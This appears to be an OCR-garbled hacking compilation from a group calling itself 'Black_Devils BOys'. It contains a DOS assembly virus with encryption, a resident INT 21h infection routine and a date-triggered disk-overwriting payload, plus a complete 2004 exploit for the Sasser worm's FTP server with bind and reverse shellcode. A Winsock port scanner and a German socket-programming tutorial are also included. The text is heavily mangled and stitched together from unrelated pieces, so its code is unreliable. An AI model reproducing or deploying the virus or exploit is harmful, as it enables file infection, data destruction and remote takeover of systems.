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;* Black_Devils BOys ReCO0ded By COnN3ctOr ebugged By : 1k1l1 g0Od 1998 *

B R X )

Real Oaner cDc Zatko 1988
. 286
code segnent
assune cs: code, ds: code
org 100h

start: CALL NEXT

NEXT:
nov di, sp ;take the stack pointer |ocation
nov bp, ss: [di] ;take the "DELTA HANDLE' for my virus
sub bp, of f set next ;subtract the large code off this code

B R R R R R R R R R R

#1 DECRYPT ROUTI NE

’
B R X

cnp byte ptr cs:[crypt],0b9h ;is the first runnig?
je crypt2 ;yes! not decrypt

nov cx,of fset fin ; | arge of virus
lea di,[offset crypt]+ bp ;di first byte to decrypt
nov dx, 1 : val ue for decrypt

;deci = fuck | abel

jnp bye
nov ah, 4ch
int 21h




V###H HEY FRIDRIK! 1S ONLY A JMP! ! ###
nov ah, Obh , #A#H##H#E BYE BYE TBAV | #####AHHAH
int 21h  ### (CANGE | NT AT YOU PLEASURE) ###

’

I i ;repeat pl ease!

’
B e R R

#2 DECRYPT ROUTI NE

B e R R

’

crypt: ; | abel

mov cx, of fset fin : | arge of virus
lea di,[offset crypt2] + bp o di first byte to decrypt

xor byte ptr cs:[di],1 zdecrytion rutine
inc di ;very sinple..
| oop deci 2

; fuck | abel

MOV AX; 0CACAH ;call to nmy resident interrup mask
INT 21H ;for chek "I"mis residet?"

CWVP Bh, 0CAH ;1s equal to CACA?

JE PUWR ;yes! junp to runnig program

call action

IR EEEEEEEEEEEEEEEEEEEEEEEEREEEEEEEEEEEEEEEEREEEEEEEEEEEEEEEEEEEEEEEE]

; NRLG FUNCTI ONS ( SELECTABLE)

B R R R R R

ycal |l TRASH RN
call ANTI_V

B R R R R R R R R R R R
’

; PROCESS TO REMAI N RESI DENT

B R R R X R X

ax, 3521h

21h ;store the int 21 vectors
word ptr [bp+int21], bx ;in cs:int21

word ptr [bp+int21+2],es

;ax = ny actual segnent
;dec ny segnment for | ook ny MCB

;read the #3 byte of ny MCB =tota

used nenory

bx, (of fset fin of fset start + 15)/16 ;subtract the large of ny virus
bx, 17 + offset fi ;and 100H for the PSP tota
ah, 4ah ;used nenory

;put the new value to MCB

bx, (of fset fin of fset start + 15)/16 + 16 + offset fin
ah, 48h ;
;request the nenory to fuck DOS

; ax=new segment
;ax- 1= new segnent MCB
byte ptr es:[1] ;put '8 in the segnent

new segnent

start of virus
100H (psp position)
lag of virus

si,[bp + offset start]
di, 100h
cx,offset fin - start
push cs
pop ds ; cs




;mov the code
cds:si >> es:d

dx, of fset virus
ax, 2521h

push es

pop ds

int 21h

ah, byte ptr [cs:bp + real] ;restore the 3
byte ptr cs:[100h], ah ;first bytes
ax,word ptr [cs:bp + real

word ptr cs:[101h], ax

;jnp to execute

’
B e

0 F HANDLER FOR THE | NT 21H

Pk ok ok kkhk ok hkkhk kA Ak khhkkhkhhkhhkhhhkhhkhhkhhhkhhkhhk ok khhkhhkhhkhhkhhkkhkkhkhkkkk k%
’

VI RUS: :

cnp ah, 4bh 'is a 4b function?

j e REPRODUCCI ON ;yes! junp to reproduce

cnp ah, 11h

je dir

cnp ah, 12h

je dir

di rsal

cnp AX, 0CACAH ;is ... a caca function? (resident chek)
jne a3 ;no! junp to a3

nmov bh, Ocah ;yes! put ca in bh

a3: ;

’

JWP dword ptr CS:[INT21] ;jnp to original int 21h
ret ;

make db '[NuKE] N. R L. G

dir:

REPRODUCCI ON:

pushf ;put the register
pusha ;in the stack
push si ;

push

push

push

ax, 3524H ;get the dos error contro
21h ;i nterupt

word ptr error,es ;and put in cs:error

word ptr error+2, bx ;

ax, 2524H ; change the dos error contro
dx, of fset all ;for my "trap mask"

;restore the registers

;put the registers




; HEY! AZRAEL |'S CRAZY?

; PUSH, POP, PUSH, POP

; PLEEEEEAAAAAASEEEEEEEEE
,PURIFY THIS SH T

ax, 4300h
21h ;get the file
word ptr cs:[attrib],cx ;atributes

;le saco los atributos a

ax, 3d02h ;open the file
21h ;for read/wite
: bx=handl e

ax, 5700h :

21h ;get the file date

word ptr cs:[hora], cx ; put the hour

word ptr cs:[dia], dx ; put the day

cx,word ptr cs:[fecha] ;calculate the seconds

cx,word ptr cs:[fecha] ;is ecual to 58?7 (DEDI CATE TO N- POX)
seguir ;yes! the file is infected

cerrar

seguir: ;
nov ax, 4202h ;move the pointer
cal |l novedor ;of the file

;calculate the
;jmp long

nov ax, 04200h ;nove the pointer
cal | novedor ;start of file

word ptr cs:[real], 05a4dh ;the 2 first bytes =
;yes! is a EXE... fuckkk

nov ax, 4200h ;nove the pointer
call novedor ;to start fo file

wite the JW
vinstruccion in the
;fist byte of the file

wite the val ue of
cin the file

ax, 04202h ;nove the pointer to
novedor ;end of file




pus
pop
pus
pop
cld

h cs
ds ;nmove the code
h cs ;of my virus
es ;to cs:end+50
; for encrypt

nov
nov
nov
enc

yin
inc
| oo

nov
nov
i nt

’

cer

nov
nov
nov
or

nov
nov
i nt

si, 100h
di,offset fin + 50
cx,of fset fin - 100h

cx,offset fin

di,offset fin + 50 + (offset crypt2 - offset start)
byte ptr cs:[di],1 Zencrypt the virus

d

cx, of f set

di,of fset fin + 50 + (offset
dx, 1

2

c di
d
p enc2

cx,of fset fin - offset start ;copy the virus
dx, of f set ;to end of file
21h ;

rar:
;restore the

ax, 5701h ;date and tine

cx,word ptr cs:[hora] file

dx,word ptr cs:[dia] ;

cx,word ptr cs:[fecha] ;and mark the seconds

;restore the
;registers

ax, 4301h ;restores the atributes
cx,word ptr cs:[attrib] ;of the file
21h ;

ax, 2524H

bx, error ;restore the
ds, bx rerrors handl er
bx, error+2 ;

21h

T Virus




;restore the

,resgisters

;jnmp to orig. INT 21

’
B o

SUBRUTI NES AREA

B R

’

novedor

XOr CX, CX ;use to nove file pointer
xor dx, dx :
i nt

,use to set
;error flag

B R X

; DATA AREA
;************~k~k~k~k~k~k~k~k~k~k~k~k~k~k~k~k~k~k~k~k~k~k~k************************
largo dw ?

j unp db 0e9%h

real db Ocdh, 20h, 0

hor a dw ?

di a dw

attrib dw

int21

action:
MOV AH, 2AH
I NT 21H ;get date
CWP DI, byte ptr cs:[action_dia+tbhp] ;is equal to ny day?
JE cont ;nop! fuck ret
cnp byte ptr cs:[action_diatbp], 32
j ne no_day
cont: ;
cmp dh, byte ptr cs:[action_nmes+bp] ;is equal to ny nonth?
je set ;
cnp byte ptr cs:[action_nes+bp], 13
j ne NO_DAY ;nop! fuck ret
set: ;
nov ah, 0dh ;
21h ;reset disk
al, 2 :
cx, 0f fffh
dx, 0 ;
26h ;fuck ffffh sector
ah, 0dh reste disk
21h ;
al, 2
cx, 0ffffh
nmov dx, Of fffh :new fuck+
int 26h ; heheheh!!
NO_DAY: ;
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#i ncl ude <stdi o. h>
#i ncl ude <stdlib. h>
#i ncl ude <string. h>
#i ncl ude <tine. h>

#i f def W N32
#i ncl ude <w nsock. h>
#i ncl ude "wi nerr. h"

#defi ne cl ose cl osesocket
#el se

#i ncl ude <unistd. h>

#i ncl ude <sys/socket. h>

#i ncl ude <sys/types. h>

#i ncl ude <arpa/inet. h>

#i ncl ude <net db. h>
#endi f
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Q) Sending SYN-BEt—@
Sganner Host
Receiving SYN+ACK-BitQ|f %

N\ Y

Sganner Host (port x =off)

D Sending RST-Bit
& N X

Scanner Host

Diagram fro NO Hand shaking Proccess
Conceptual Idea

@ All Rights Reserved For Black_Devils BOys

ASM# Project Exploit learning

TCP- TSP- FI N- At t acks
Fragnment ati on Scanni ng
FTP Bounce Attack

UDP Scanning

UDP | CVP unr eachabl e scanni ng

UDP recvfron() und wite() scanning

| CVMP Echo scanni ng( Pi ng)

Sl =90 Sl Jlie Gusipy 51 Sy ol ) S axgi 05 siSowl ©ig) Wby pugw

siiw b 9 500ms au I, )lase Runtime w)g0 55 wowl aSos (saungi Aol y (sulioal
(390 89, abgyyo JSiil b auds a9l

#i ncl ude <wi ndows. h>
#i ncl ude <stdio. h>



/1 Unter Projekt - Einstellungen - Linker wsock32.lib hinzufigen
/] Basiert auf Portscanner von DarkRai gn
[l Portiert fur Wndows von Trapper 19.04.2000

#defi ne OFFEN 1
#defi ne GESCHLOSSEN 0
WSADATA ws;

SOCKET s;

char ip[40];

struct sockaddr in sa;
int startport, endport;
struct hostent *HOST

[ Dummys
int i;
i nt checkport(int x)
{
s = socket (AF_I NET, SOCK_STREAM 0);
if (s == INVALI D_SOCKET) printf("FEHLER bei m Erstell en des
Socket s\ n");
sa.sin_famly = AF_I NET,;
sa.sin_port = htons(x);
sa.sin_addr.s_addr = *((unsigned | ong *) HOST->h_addr);
i f(connect (s, (struct sockaddr *)&sa, sizeof(sa))==SOCKET_ERROR)
{
cl osesocket (s);
return ( GESCHLOSSEN) ;
}

el se

{
cl osesocket (s);
return (OFFEN);

}
}

void main()
{
WBASt ar t up(0x0101, &ws);
printf("Bitte | P oder Hostnane ei ngeben: ");
scanf ("%", & p);
printf("Bitte Startport eingeben: ");
scanf ("% ", &startport);
printf("Bitte Endport eingeben: ");
scanf ("% ", &endport);
HOST = get host bynane(i p);
printf("\nStarte Portscan auf % von Port #% bis #%\n", ip,
startport, endport);
for (i=startport; i<=endport; i++)

i f(checkport(i) == OFFEN) printf("Port %l ist offen\n", i);

}
WBAC eanup() ;
}

L'JLogg)T )'| U|9J S\o )JQJ >)90 u»)_»TIP a, Host p_uu| JJ.Lu t5|).g



struct hostent* gethostbynane(const char* nane);

>900 osleiwl 55 JSow @
struct hostent

{

char *h_nane; //Ofiziele Nanmen(z.B. M crosoft.con)
char **h_aliases;// Al iasnanen

i nt h_addrtype;

int h_length;

char **h_addr _|ist;//|P-Nummer(n)
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- ROVANI AN SECURI TY RESEARCH 2004 -

sasser v[a-e] exploit (of its ftpd server)
exploit version 1.4, public

author: mandragore

date: Mn May 10 16:13:31 2004

vul n type: SEH ptr overwiting

greets: rosecurity team

di scovery: edcha

note: sasser.e has its ftpd on port 1023
update: offsets

*/

#i ncl ude <stdio. h>

#i ncl ude <strings. h>

#i ncl ude <signal . h>

#i ncl ude <netinet/in.h>
#i ncl ude <netdb. h>

A

#define NORM "\ 033[ 00; 00nt
#define GREEN "\ 033[01; 32nt



#define YELL "\033[01;33nt
#define RED "\ 033[01; 31nt

#defi ne BANNER GREEN "[9%4 " YELL "mandragore's sploit v1.4 for " RED
"sasser.x" NORM

#define fatal (x) { perror(x); exit(1); }

#define defaul t _port 5554

struct { char *os; long goreg; long gpa; long Ila;}
targets[] = {

/[l { "os", pop pop ret, GetProcAd ptr, LoadLib ptr },

{ "wXP SP1 many", Ox77BEEB23, O0x77belOCC, O0x77belODO }, // mnsvcrt.dll's
{ "wXP SP1 nost others", 0x77ClLCOBD, 0x77C110CC, 0x77c110D0 },

{ "w2k SP4 many", 0x7801D081, 0x780320cc, 0x780320d0 },

tsz; /

unsi gned char bsh[]={

0xEB, 0xOF, 0x8B, 0x34, 0x24, 0x33, 0xC9, 0x80, 0xC1, 0xDD, 0x80, 0x36, OxDE, 0x46, 0XxE2, OXFA,
0xC3, 0xE8, OXEC, OxFF, OxFF, OxFF, OxBA, 0xB9, 0x51, 0xD8, 0xDE, OxDE, 0x60, OxDE, OXFE, Ox9E,
0xDE, 0xB6, 0XxED, OXEC, 0xDE, 0xDE, 0xB6, 0xA9, 0xAD, 0XxEC, 0x81, O0x8A, 0x21, 0xCB, 0xDA, OxFE,
0x9E, 0xDE, 0x49, 0x47, 0x8C, 0x8C, 0x8C, 0x8C, 0x9C, 0x8C, 0x9C, 0x8C, 0x36, 0xD5, 0xDE, OxDE,
0xDE, 0x89, 0x8D, 0x9F, 0x8D, 0xB1, 0xBD, 0xB5, 0xBB, 0xAA, 0x9F, OxDE, 0x89, 0x21, 0xC8, 0x21,
0xO0E, 0x4D, 0xB4, 0xDE, 0xB6, 0xDC, 0xDE, OxCA, 0x6A, 0x55, 0x1A, 0xB4, 0xCE, 0x8E, 0x8D, 0x36,
0x DB, 0xDE, 0xDE, 0xDE, 0xBC, 0xB7, 0xB0O, 0xBA, OxDE, 0x89, 0x21, 0xC8, 0x21, OxOE, 0xB4, OxDF,
0x8D, 0x36, 0xD9, 0xDE, OxDE, 0xDE, 0xB2, 0xB7, 0xAD, OxAA, 0xBB, 0xB0, 0xDE, 0x89, 0x21, 0xC8,
0x21, 0xOE, 0xB4, 0xDE, 0x8A, 0x8D, 0x36, 0xD9, 0xDE, OxDE, 0xDE, 0xBF, 0xBD, 0xBD, 0xBB, 0xAE,
0xAA, 0xDE, 0x89, 0x21, 0xC8, 0x21, 0x0E, 0x55, 0x06, OXxED, Ox1E, 0xB4, OxCE, 0x87, 0x55, 0x22,
0x89, 0xDD, 0x27, 0x89, 0x2D, 0x75, 0x55, OXE2, OxFA, Ox8E, 0x8E, Ox8E, 0xB4, OxDF, O0x8E, Ox8E,
0x36, OxDA, OxDE, 0xDE, OxDE, 0xBD, 0xB3, 0xBA, 0xDE, 0x8E, 0x36, 0xD1, 0xDE, OxDE, 0xDE, 0x9D,
0xAC, 0xBB, 0xBF, 0xAA, 0xBB, 0x8E, 0xAC, 0xB1, 0xBD, 0xBB, 0xAD, 0xAD, 0x9F, 0xDE, 0x18, 0xD9,
0x9A, 0x19, 0x99, OxF2, 0xDF, 0xDF, OxDE, OxDE, 0x5D, 0x19, 0XxE6, 0x4D, 0x75, 0x75, 0x75, OXBA,
0xB9, 0x7F, OXEE, OxDE, 0x55, 0x9E, 0xD2, 0x55, 0x9E, 0xC2, 0x55, OxDE, 0x21, OxAE, 0xD6, 0x21,
0xC8, 0x21, Ox0E

}
unsi gned char rsh[]={ /

OXEB, O0xOF, 0x8B, 0x34, 0x24, 0x33, 0xC9, 0x80, 0xC1, 0xB6, 0x80, 0x36, OxDE, 0x46, OXE2, OXFA,
0xC3, 0xE8, OXEC, 0xFF, OxFF, OxFF, 0xBA, 0xB9, 0x51, 0xD8, 0xDE, OxDE, 0x60, 0xDE, OXFE, 0x9E,
0xDE, 0xB6, OXxED, OXEC, 0xDE, 0xDE, 0xB6, 0xA9, 0xAD, 0XxEC, 0x81, Ox8A, 0x21, 0xCB, 0xDA, OXFE,
0x9E, OxDE, 0x49, 0x47, 0x8C, 0x8C, 0x8C, 0x8C, 0x9C, 0x8C, 0x9C, 0x8C, 0x36, 0xD5, 0xDE, OxDE,
OxDE, 0x89, 0x8D, 0x9F, 0x8D, 0xB1, 0xBD, 0xB5, 0xBB, 0xAA, 0x9F, OxDE, 0x89, 0x21, 0xC8, 0x21,
0xO0E, 0x4D, 0xB6, 0xAl, OxDE, 0xDE, 0xDF, 0xB6, 0xDC, OxDE, 0xCA, 0x6A, 0x55, 0x1A, 0xB4, 0xCE,
0x8E, 0x8D, 0x36, 0xD6, 0xDE, 0xDE, 0xDE, 0xBD, 0xB1, 0xB0, 0xB0, 0xBB, 0xBD, 0xAA, 0xDE, 0x89,
0x21, 0xC8, 0x21, Ox0OE, 0xB4, OxCE, 0x87, 0x55, 0x22, 0x89, 0xDD, 0x27, 0x89, 0x2D, 0x75, 0x55,
OxE2, OxFA, 0x8E, 0x8E, Ox8E, 0xB4, OxDF, 0x8E, 0x8E, 0x36, 0xDA, 0xDE, 0xDE, 0xDE, 0xBD, 0xB3,
0xBA, 0xDE, 0x8E, 0x36, 0xD1, 0xDE, 0xDE, 0xDE, 0x9D, OXAC, 0xBB, 0xBF, 0xAA, 0xBB, 0x8E, 0xAC,
0xB1, 0xBD, 0xBB, 0xAD, 0xAD, 0x9F, OxDE, 0x18, 0xD9, 0x9A, 0x19, 0x99, 0xF2, 0xDF, 0xDF, OxDE,
OxDE, 0x5D, 0x19, OxE6, 0x4D, 0x75, 0x75, 0x75, OxBA, 0xB9, 0x7F, OXEE, 0xDE, 0x55, 0x9E, 0xD2,
0x55, Ox9E, 0xC2, 0x55, OxDE, 0x21, OxAE, 0xD6, 0x21, 0xC8, 0x21, Ox0E

be

char verbose=0;

voi d setof f(long GPA, |ong LLA) {

i nt gpa=GPA*Oxdededede, || a=LLA*Oxdededede;
mencpy( bsh+0x1d, &gpa, 4) ;

mencpy( bsh+0x2e, & | a, 4);

mencpy(rsh+0x1d, &gpa, 4) ;

mencpy(rsh+0x2e, & | a, 4);

voi d usage(char *argv0) {

int i;

printf("% -d <host/ip> [opts]\n\n", argv0);
printf("Options:\n");

printf(" -h undocunented\n");
printf(" -p <port> to connect to [default: %]\n", default_port);



printf(" -s <'bind /'rev'> shellcode type [default: bind]\n");
printf(" -P <port> for the shellcode [default: 5300]\n");
printf(" -H <host/ip> for the reverse shellcode\n");

printf(" -L setup the listener for the reverse shell\n");
printf(" -t <target type> [default 0]; choose bel owAn\n");

printf("Types:\n");

for(i = 0; i < sizeof(targets)/sizeof(tsz); i++)

printf(" % %\t[0x% 8x]\n", i, targets[i].os, targets[i].goreg);
exit(1);

}

void shell (int s) {
char buff[4096];
int retval;

fd_set fds;

printf("[+] connected!\n\n");

for (;;) {
FD _ZERQ( &f ds) ;
FD_SET( 0, & ds);
FD_SET(s, & ds);

if (select(s+1l, & ds, NULL, NULL, NULL) < 0)
fatal ("[-] shell.select()");

if (FD_ISSET(O, & ds)) {

if ((retval = read(1,buff,4096)) < 1)
fatal ("[-] shell.recv(stdin)");
send(s, buff, retval, 0);

}

if (FD_I SSET(s, & ds)) {
if ((retval = recv(s, buff,4096,0)) < 1)
fatal ("[-] shell.recv(socket)");
wite(l, buff,retval);

}

}

}

voi d cal | back(short port) {

struct sockaddr_in sin;

int s,slen=16;

sin.sin_famly = 2;

sin.sin_addr.s_addr = O;

sin.sin_port = htons(port);

s=socket (2,1, 6);

if ( bind(s,(struct sockaddr *)&sin, 16) ) {

kill (getppid(), SI&KILL);
fatal ("[-] shell.bind");

listen(s,1);

s=accept (s, (struct sockaddr *)&sin, &slen);

shel |l (s);
printf("crap\n");
}

int main(int argc, char **argv, char **env) {
struct sockaddr_in sin;

struct hostent *he;

char *host; int port=default_port;

char *Host; int Port=5300; char bindopt=1;
int i,s,pid=0,rip;



char *buff;
int type=0; T//
char *jnp[]={"\xeb\x06", "\ xe9\ x13\ xf c\ xff\xff"};

printf(BANNER "\ n");

if (argc==1)
usage(argv[0]);

for (i=1;i<argc;i+=2) {
if (strlen(argv[i]) !'= 2)
usage(argv[0]);

switch(argv[i][1]) {

case 't':

type=atoi (argv[i +1]);
br eak;

case 'd':
host =argv[i +1];
br eak;

case 'p':
port=atoi (argv[i+1])?: default_port;
br eak;

case 's':
if (strstr(argv[i+1],"rev"))

bi ndopt =0;

br eak;

case 'H:
Host =argv[i +1] ;
br eak;

case 'P':
Port =at oi (argv[i +1]) ?: 5300;
Port=Port ~ Oxdede;
Port=(Port & Oxff) << 8 | Port >>8;
nmencpy( bsh+0x57, &Port, 2);
mencpy(rsh+0x5a, &Port, 2);
Port=Port ~ Oxdede;
Port=(Port & Oxff) << 8 | Port >>8;
br eak;

case 'L':
pid++; i--;
br eak;

case 'v':
verbose++; i--;
br eak;

case 'h':
usage(argv[0]);

defaul t:
usage(argv[0]);

}

if (verbose)

printf("verbosel\n"); /
i f ((he=get host byname( hdSt))==NULL)

fatal ("[-] gethostbyname()");

sin.sin_famly = 2;
sin.sin_addr = *((struct in_addr *)he->h_addr_list[0]);
sin.sin_port = htons(port);

printf("[.] launching attack on %s:%l..\n",inet_ntoa(*((struct in_addr
*)he->h_addr_list[0])), port);
i f (bindopt)

printf("[.] will try to put a bindshell on port %l.\n",Port);
el se {

i f ((he=get host bynane(Host))==NULL)

fatal ("[-] gethostbyname() for -H');
ri p=*((long *)he->h_addr_list[0]);
ri p=ri p*Oxdededede;



mencpy(rsh+0x53, & i p, 4);

if (pid) {

printf("“[.] setting up a listener on port %l.\n", Port);
pi d=f or k() ;

switch (pid) { case 0: callback(Port); }

} else

printf("“[.] you should have a |listener on
%:%l.\n",inet_ntoa(*((struct in_addr
*)he->h_addr _list[0])), Port);
}

printf("[.] using type '%'\n",targets[type].o0s);
A LR LT core
s=socket (2, 1, 6);

if (connect(s, (struct sockaddr *)&sin, 16)!=0) {
if (pid) kill(pid,SIGKILL);
fatal ("[-] connect()");

printf("[+] connected, sending exploit\n");

buf f =(char *) mal | oc(4096);

bzer o( buff, 4096) ; /

sprintf(buff,"USER x\n");
send(s, buff,strlen(buff), 0);
recv(s, buff, 4095, 0);
sprintf(buff,"PASS x\n");
send(s, buf f,strlen(buff), 0);
recv(s, buff, 4095, 0);

nmenset (buf f +0000, 0x90, 2000) ;
strncpy(buff, "PORT ",5);

strcat (buff, "\ x0a");

nencpy(buf f +272, j np[ 0], 2);

nencpy( buf f +276, & ar get s[type] . gor eg, 4) ;
mencpy ( buf f +280, j np[ 1], 5) ;

setof f (targets[type].gpa, targets[type].lla);

i f (bindopt)

mencpy ( buf f +300, &sh, strl en(bsh));
el se

nencpy ( buf f +300, & sh, strl en(rsh));

send(s, buff, strlen(buff), 0);
free(buff);

cl ose(s);

R LT end of core

i f (bindopt) {
sin.sin_port = htons(Port);
sl eep(1);
s=socket (2, 1, 6);
i f (connect (s, (struct sockaddr *)&sin, 16)!=0)
fatal ("[-] exploit nost likely failed");
shel |l (s);
}

if (pid) wait(&pid);

exit(0);
}
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struct { char *os; long goreg; long gpa; long Ila;}
targets[] = {
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Socket Programming Hand Book

Functions() Example Code
socket () #i ncl ude
#i ncl ude
int socket(int domain, int type, int
protocol); int main()
{
int s; /] Die Variable fuer den

Socket deskri pt or

s = socket (AF_I NET, SOCK_STREAM 0);

if (s <0)
{
[ *Fehler */
/[* Mt der Socket weiterarbeiten */
}
bi nd() : struct sockaddr {
unsi gned short sa_ famly /*
int bind(int sockfd, struct sockaddr Adressfam |lie AF_xxx */
*ny_addr, int addrlen); char sa_data[14] /* 14

Byte mt Protokol | spezifischen

Adr essdaten */
}
Fir unsere |nternetsockets geben wr
hier anstatt einer struct sockaddr

ei ne struct sockaddr _in an. D ese
sieht wie fol gt aus:

struct sockaddr_in {

short int sin_famly; [/*
Adressfami i e nornal erwei se AF_I NET
*/

unsi gned short int sin_port; [ *
Port der Verbi ndung
*/

struct in_addr si n_addr; /*
Adresse zu der Verbunden werden soll
*/

unsi gned char sin_zero[8]; /*
Fuel | daten um auf 14 Bytes zu konmen
*/

I



listen():

int listen(int sockfd, int backlog);

accept():

connect ():

send() and recv():

sendto() und revcfrom()

shut down() :

cl ose()

get host bynane() :
#i ncl ude

struct hostent* gethostbyname(const
char* nane);

struct hostent {

char *h_nane;

char **h _aliases;

i nt h_addrt ype;

i nt h_| engt h;

char **h_addr _|ist;

i
#define h_addr h_addr_I|ist[O0]

get peer nane() :

#i ncl ude
#i ncl ude

int s; /* Socket-Deskriptor */
if ( listen(s, 3) < 0)

/* Fehler (evtl. errno auswerten) */

}

int accept(int sockfd, void *addr, int
*addr | en) ;

int connect (int sockfd, struct
sockaddr *serv_addr, intaddrlen);

int send(int sockfd, const void *nsg,
int len, int flags);

int recv(int sockfd, void *buf, int
I en, unsigned int flags);

int sendto(int sockfd, const void
*meg, int len, unsigned int flags,

const struct sockaddr *to,
int tolen);

int recvfrom(int sockfd, void *buf,
int |len, unsigned int flags,

struct sockaddr *from
int *from en);

i nt shutdown(int sockfd, int how;

#i ncl ude
#i ncl ude
#i ncl ude

int main(int argc, char *argv[])

{

struct hostent *host;
host = get host byname(argv[1]);
i f (host == NULL)

{
fprintf(stderr
"Konnte Host % nicht
finden\n",argv[1]);
return -1;
}

printf("Der Host % hat die
| P- Adresse 9%\ n", argv[ 1],
i net _ntoa(*((struct
i n_addr *)host->h_addr)));
return O;
}

i nt getpeernane(int sockfd, struct



select():

int select(int nunfds, fd_set *readfds,
fd_set *writefds, fd_set *exceptfds,

struct tineval

*timeout);

sockaddr *peer, int *addr_|len);

#i ncl ude
#i ncl ude
#i ncl ude
#i ncl ude

voi d set _nonbl ocki ng(i nt sockf d)

{
i nt prev_node;
if ((prev_node = fcntl (handl e,
F GETFL, 0)) != -1)
{
fentl (sockfd, F_SETFL,
prev_node | O NONBLOCK);

}

struct tineval tineout;
fd_set readfds, witefds, exceptfds;
int fdl, fd2, fd2;

/* Sockets vorbereiten (socket(),
connect (), ...) */

set _nonbl ocki ng(fd1);
set _nonbl ocki ng(fd2);
set _nonbl ocki ng(fd3);

FD_ZERQ( r eadf ds) ;
FD_ZERQ(wri t ef ds) ;
FD_ZERQ( except fds) ;

FD_SET(fd1, readfds);
FD_SET(fd2, witefds);
FD_SET(fd3, exceptfds);

ti meout.tv_sec = 10;
timeout.tv _usec = 0;

sel ect (MAX(fd1, fd2, fd3) + 1,
readfds, witefds, exceptfds,
ti meout) ;

if (FD_I SSET(fd1, readfds))

/| Daten |esen

}
if (FD_ISSET(fd2, witefds))

/| Daten schreiben
}

if (FD_I SSET(fd3, exceptfds))

/'l Fehl er behandl ung
}



TCP/UDP- aol, gwygw Ll a0 wlhgiws oul 3,08 oo U idiun hsvl.u.ui Sl
Llo,9 a>gi 55 Jgla> sServer/Client

1. TCP- Server

#i ncl ude
#i ncl ude
#i ncl ude
#i ncl ude
#i ncl ude
#i ncl ude
#i ncl ude

int main()

struct sockaddr_in ny_addr
struct sockaddr _in renote_addr
int size

int s;

int renote_s;

/* Die Socket erzeugen */
s = socket (AF_I NET, SOCK_STREAM 0);
if (s <0)

fprintf(stderr, "Error: Socket\n")
return -1,

}

nmy_addr.sin_famly = AF_I NET
nmy_addr.sin_port = htons(2199); /* Port 2199 */
my_addr. si n_addr.s_addr = | NADDR_ANY; /* An jedem Device warten */

if (bind(s, (struct sockaddr *)&ny_addr, sizeof(nmy_addr))==-1)
{

cl ose(s);
fprintf(stderr, "Error: bind\n")
return -1;

}

/* Socket aufs warten vorbereiten */
if (listen(s, 1)==-1)

fprintf(stderr, "Error: listen\n")
return -1;
}

fflush(stdout)

si ze=si zeof (renot e_addr)

/* Auf eine eingehende Verbi ndung warten */

renmote_s = accept(s, (struct sockaddr *)&r enote_addr, &size)
fflush(stdout); /* Ausgabepuffer |eeren */

if (remote_s < 0)

cl ose(s);
fprintf(stderr, "Error: accept\n")
return -1,

/* Daten ueber seinen Gegenueber ausgeben */
printf("\nincom ng connection from %\n",

i net _ntoa(renote_addr.sin_addr.s_addr))
printf("sending data...")
fflush(stdout)
si ze=send(renote_s, "Hello Wrld", 11, 0)



#
#
#
#
#
#
#i

if (size==-1)

fprintf(stderr, "error while sending\n")
} else {
printf("ready\n% Bytes send to renpte host\n", size)

printf("closing sockets\n");
/* Sockets w eder freigeben */
cl ose(renote_s)

cl ose(s);
printf("termnating\n")
fflush(stdout)

return O

2: TCP-d i ent

ncl ude
ncl ude
ncl ude
ncl ude
ncl ude
ncl ude
ncl ude

int main()

struct sockaddr_in host_addr
int size

int s;

struct hostent *host;

char host name[ MAXHOSTNAMELEN] ;
char buffer[1000];

printf("\nEnter Hostnane: ");
scanf (" %", &ost nane)

host =get host bynane( host nane)
i f (host==NULL)

fprintf(stderr, "Unknown Host %s\n", hostnane)
return -1;

}

fflush(stdout)

/* Socket erzeugen */

s = socket (AF_I NET, SOCK_STREAM 0)
if (s <0)

fprintf(stderr, "Error: socket\n")
return -1;

}
/* Socket an das Ziel binden */
host _addr.sin_famly = AF_|I NET
host _addr.sin_addr = *((struct in_addr *)host->h_addr)
host _addr. sin_port = htons(2199)
/* Ver bi ndung auf bauen */

if (connect(s, (struct sockaddr *)&host_addr, sizeof(host_addr))==-1)

cl ose(s);
fprintf(stderr, "Error: connect\n")
return -1,
}
/* Daten enpfangen */
size = recv(s, buffer, 1000, 0)
if (size==-1)

cl ose(s);



fprintf(stderr, "reading data failed\n")
return -1;
}

printf("Getting % Bytes of Data\nData: %\n", size, buffer)
fflush(stdout)

/* Socket w eder freigeben */

cl ose(s);

return O

3: UDP- Ser ver

#i ncl ude

#i ncl ude

#i ncl ude

int main()
int sockfd; /* unsere Socket */
struct sockaddr _in nmy_addr, renote_addr; /* 2 Adressen */
int renote_addr_size = sizeof (renote_addr); /* fuer recvfrom() */
char buf[1024]; [ * Datenpuffer */

if ((sockfd = socket (AF_I NET, SOCK_DGRAM | PPROTO UDP)) < 0)
{

fprintf(stderr, "Error: socket()\n")
exit(1)

my_addr.sin_famly
ny_addr. si n_addr. s_addr
nmy_addr. sin_port

AF_| NET;
ht onl (1 NADDR_ANY) ;
ht ons(2199)

if (bind(sockfd, (struct sockaddr *)&ny_addr, sizeof(nmy_addr)) < 0)

fprintf(stderr, "Error: bind()\n")
cl ose(sockfd)
exit(1)

if (recvfron(sockfd, buf, sizeof(buf), O,
(struct sockaddr *)&renote_addr, & enote_addr_size) > 0)

printf("Getting Data from %\n",
inet_ntoa(renote_addr.sin_addr.s_addr) );
printf("Data : %\n", buf);

4: UDP-d i ent

#i ncl ude
#i ncl ude
#i ncl ude
#i ncl ude

int main(int argc, char **argv)

{
int sockfd;
struct sockaddr _in nmy_addr, renote_addr
struct hostent *host_addr

if (argc = 3)
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fprintf(stderr, "Usage: % [HOST] [ MESSACE]\n", argv[O0])

if ((host_addr = gethostbyname(argv[1])) == NULL)
fprintf(stderr, "Cannot resolv hostname: %\n", argv[1])
exit(1);
if ((sockfd = socket (AF_I NET, SOCK_DGRAM | PPROTO _UDP)) < 0)
{
fprintf(stderr, "Error: socket()\n")

exit(1)

renot e_addr.sin_famly
renot e_addr . si n_addr
renot e_addr. si n_port

AF_| NET;
*((struct in_addr *) host_addr->h_addr)
ht ons(2199)

if (sendto(sockfd, argv[2], strlen(argv[2]) + 1, O
(struct sockaddr *)&renote_addr, sizeof(renote_addr)) > 0)

printf("Message sent\n")
} else {
fprintf(stderr, "Error while sending data\n")

cl ose(sockfd)
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This is an exanple of how to exploit the security hole in using
SO REUSEADDR. It is not intended as a resource for woul d be
"hackers" (in the hollywod sense of the word), but for
programmers so that they can | earn about the vulnerability,
find out if their environnent is vulnerable, and wite servers
that can not be conpronmised in this way.

